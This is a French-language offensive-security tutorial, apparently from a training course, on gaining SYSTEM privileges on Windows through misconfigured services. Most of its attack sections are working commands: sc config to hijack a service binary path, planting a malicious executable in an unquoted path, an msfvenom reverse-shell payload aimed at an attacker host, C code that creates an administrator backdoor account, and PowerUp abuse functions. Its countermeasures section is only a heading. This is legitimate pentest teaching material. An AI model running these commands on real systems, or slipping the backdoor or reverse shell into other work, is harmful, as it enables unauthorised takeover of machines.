Mauvaises configurations de services

Exploiter les permissions de services faibles pour obtenir un accès SYSTEM

Ce que vous allez découvrir

🔧 Essayez maintenant

Recherchez les chemins de services non quotés sur votre système :

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

Vous verrez : Les services avec des chemins contenant des espaces mais sans guillemets. Ce sont des vulnérabilités potentielles de chemin de service non quoté si vous avez un accès en écriture aux répertoires intermédiaires.

Compétences que vous maîtriserez

Comprendre les mauvaises configurations de services

Les services Windows sont des processus en arrière-plan qui démarrent automatiquement ou à la demande. Ils s'exécutent généralement avec des privilèges élevés - beaucoup en tant que LocalSystem, le compte le plus puissant sur la machine. Quand les configurations de services sont faibles, vous pouvez en abuser pour exécuter du code avec ces privilèges élevés.

Types de permissions de services

Les services ont leur propre ACL avec des droits d'accès spécifiques. Les plus dangereux sont :

Attaque 1 : Permissions de services faibles

Quand vous avez les droits SERVICE_CHANGE_CONFIG, vous pouvez modifier le chemin du binaire du service pour pointer vers votre payload :

# Trouver les services avec des permissions faibles (avec Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula

# Vérifier les permissions d'un service spécifique
sc qc VulnerableService
sc sdshow VulnerableService

# Modifier le chemin du binaire
sc config VulnerableService binpath= "C:\temp\shell.exe"

# Redémarrer le service (si vous avez la permission SERVICE_START)
sc stop VulnerableService
sc start VulnerableService

# Si vous ne pouvez pas redémarrer, attendez un redémarrage système

Attaque 2 : Chemins de services non quotés

Quand un chemin de service contient des espaces et n'est pas quoté, Windows essaie de trouver l'exécutable en parsant le chemin de gauche à droite :

# Exemple de chemin vulnérable :
C:\Program Files\Vulnerable App\service.exe

# Windows essaiera ceux-ci dans l'ordre :
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe

# Si vous pouvez écrire dans C:\ ou C:\Program Files\, vous pouvez créer :
# C:\Program.exe (votre binaire malveillant)

# Trouver les chemins non quotés
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"

# Vérifier les permissions d'écriture sur les répertoires intermédiaires
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"

# Créer un exécutable malveillant nommé pour être trouvé en premier
copy shell.exe "C:\Program Files\Vulnerable.exe"

Attaque 3 : Binaire de service inscriptible

Si vous pouvez écrire dans le répertoire contenant l'exécutable du service, vous pouvez le remplacer entièrement :

# Vérifier si le répertoire du binaire de service est inscriptible
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"

# Remplacer le binaire
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"

# Redémarrer le service
sc stop VulnerableService
sc start VulnerableService

Outils et techniques

Création de payloads compatibles avec les services

Les services s'attendent à des binaires qui interagissent avec le Service Control Manager. Si votre payload ne le fait pas, le service démarrera et s'arrêtera immédiatement - mais votre code s'exécute quand même :

# Générer un payload compatible service avec msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe

# Ou utiliser un wrapper qui ajoute un utilisateur
# Ce code C crée un exe compatible service :
/*
#include <windows.h>
int main() {
    system("net user hdna Password123! /add");
    system("net localgroup administrators hdna /add");
    return 0;
}
*/

# Compiler avec mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Exploitation avec PowerUp

PowerUp fournit des fonctions pour exploiter chaque mauvaise configuration de service :

# Pour les permissions de services faibles
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'

# Pour les chemins non quotés
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'

# Pour les binaires inscriptibles
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'

Accesschk de Sysinternals

Accesschk est l'outil de référence pour l'analyse des permissions :

# Vérifier les services accessibles par Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula

# Vérifier un service spécifique
accesschk.exe -ucqv VulnerableService /accepteula

# Vérifier les permissions de répertoire
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula

# Télécharger depuis : https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

Scénarios d'attaque réels

Contre-mesures défensives

Questions fréquemment posées

🎯 Exploitation de services - Chargé !

Vous connaissez maintenant trois puissantes techniques d'attaque de services : permissions faibles, chemins non quotés et remplacement de binaire. Ce sont parmi les vecteurs d'élévation de privilèges les plus fiables dans les environnements réels.

Prêt à exploiter les attaques basées sur le registre →